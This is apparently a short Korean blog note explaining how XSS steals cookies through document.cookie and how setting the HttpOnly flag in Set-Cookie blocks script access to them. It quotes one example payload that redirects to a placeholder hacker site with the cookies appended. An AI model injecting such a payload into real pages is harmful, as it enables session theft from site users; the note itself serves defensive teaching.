웹 해킹 - XSS 공격으로 document.cookie 정보 가져오기 방지(HttpOnly)

 

해커는 아래처럼 document.cookie를 통해 중요한 쿠키 정보들을 수집하는 게 일반적

location.href = 'http://해커사이트/?cookies=' + document.cookie;

 

서버가 클라이언트에게 쿠키 값을 지정할 때에 HttpOnly라는 옵션을 추가시켜주면, 

(HttpOnly가 Http만 허용하고, Https는 허용하지 않는다 이게 아니다..)

 

클라이언트가 document.cookie를 아무리 출력해 보아도 해당 쿠키에 대한 정보는 출력이 되지 않는다. 

Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

HttpOnly 설정을 한 쿠키는 브라우저가 접근을 할 수 없도록 되버린 것. 

 

당연히 서버에게 GET, POST 요청등을 할 때에는 HttpOnly 설정된 쿠키도 잘 전달된다. 

 

 

 

참고: 

https://nsinc.tistory.com/121

[Web] HTTP Only와 Secure Cookie 이해하기